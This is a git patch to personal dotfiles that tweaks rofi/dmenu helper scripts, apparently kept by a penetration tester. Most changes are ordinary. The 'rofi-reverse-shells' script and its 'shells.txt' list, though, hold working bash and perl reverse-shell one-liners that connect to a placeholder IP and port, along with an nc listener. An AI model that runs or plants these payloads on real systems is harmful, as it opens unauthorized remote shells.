From 104bee1cfdb5fa364fe8c7e74da5766a479edc03 Mon Sep 17 00:00:00 2001 From: Jonathan Hodgson Date: Tue, 24 Sep 2019 17:06:38 +0100 Subject: [PATCH] Small changes to dmenu-like scripts --- bin/.bin/dmenu/dmenu | 1 - bin/.bin/dmenu/open-youtube | 2 +- bin/.bin/dmenu/rofi-reverse-shells | 12 ++++++++++++ bin/.bin/dmenu/shells.txt | 1 + bin/.bin/dmenu/status-codes | 5 +++++ bin/.bin/dmenu/unicode-character-select | 19 ++----------------- 6 files changed, 21 insertions(+), 19 deletions(-) delete mode 120000 bin/.bin/dmenu/dmenu create mode 100755 bin/.bin/dmenu/status-codes diff --git a/bin/.bin/dmenu/dmenu b/bin/.bin/dmenu/dmenu deleted file mode 120000 index 9e42dbff..00000000 --- a/bin/.bin/dmenu/dmenu +++ /dev/null @@ -1 +0,0 @@ -/usr/bin/rofi \ No newline at end of file diff --git a/bin/.bin/dmenu/open-youtube b/bin/.bin/dmenu/open-youtube index 4b8f5760..56ba3553 100755 --- a/bin/.bin/dmenu/open-youtube +++ b/bin/.bin/dmenu/open-youtube @@ -6,7 +6,7 @@ if [ -z "$url" ]; then url=$(rofi -dmenu -p 'URL') fi -code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu | awk '{print $1}') +code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu -p Quality | awk '{print $1}') mpv "$url" --ytdl-format="$code" diff --git a/bin/.bin/dmenu/rofi-reverse-shells b/bin/.bin/dmenu/rofi-reverse-shells index 834d63d1..ac2a17e6 100755 --- a/bin/.bin/dmenu/rofi-reverse-shells +++ b/bin/.bin/dmenu/rofi-reverse-shells @@ -36,14 +36,26 @@ function getReverseShell() { cut -d'|' -f2- } +function getRows(){ + stty -a | head -n 1 | cut -d ';' -f 2 | cut -d ' ' -f 3 +} + +function getCols(){ + stty -a | head -n 1 | cut -d ';' -f 3 | cut -d ' ' -f 3 +} + function display() { ip=$(getIP) port=$(getPort) reverseShell=$(getReverseShell $ip $port) echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard + echo -n "$reverseShell" | /usr/bin/xclip -i -selection primary nc -lvnp $port + #Put the tty back to normal + # This is useful if I got a nice shell before + stty -raw echo } diff --git a/bin/.bin/dmenu/shells.txt b/bin/.bin/dmenu/shells.txt index c297f118..097d32ae 100644 --- a/bin/.bin/dmenu/shells.txt +++ b/bin/.bin/dmenu/shells.txt @@ -1,4 +1,5 @@ BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1 +BASH REVERSE SHELL|bash -c 'bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1' BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196 PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' diff --git a/bin/.bin/dmenu/status-codes b/bin/.bin/dmenu/status-codes new file mode 100755 index 00000000..845f281d --- /dev/null +++ b/bin/.bin/dmenu/status-codes @@ -0,0 +1,5 @@ +#!/usr/bin/env bash + +SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )" + +cat "$SCRIPTPATH/http-status-codes" | fzf diff --git a/bin/.bin/dmenu/unicode-character-select b/bin/.bin/dmenu/unicode-character-select index e467a5b2..9960af77 100755 --- a/bin/.bin/dmenu/unicode-character-select +++ b/bin/.bin/dmenu/unicode-character-select @@ -6,18 +6,8 @@ # Requirements: # rofi, xsel, xdotool, curl, xmllint # -# Usage: -# 1. Download all emoji -# $ rofi-emoji --download -# -# 2. Run it! -# $ rofi-emoji -# # Notes: # * You'll need a emoji font like "Noto Emoji" or "EmojiOne". -# * Confirming an item will automatically paste it WITHOUT -# writing it to your clipboard. -# * Ctrl+C will copy it to your clipboard WITHOUT pasting it. # # Where to save the emojis file. @@ -33,17 +23,12 @@ function notify() { function display() { emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$') - line=$(echo "$emoji" | dmenu -i -p Unicode -kb-custom-1 Ctrl+c $@) + line=$(echo "$emoji" | rofi -dmenu -i -p Unicode) exit_code=$? line=($line) - if [ $exit_code == 0 ]; then - xdotool type --clearmodifiers "${line[0]}" - elif [ $exit_code == 10 ]; then - echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard - - fi + echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard }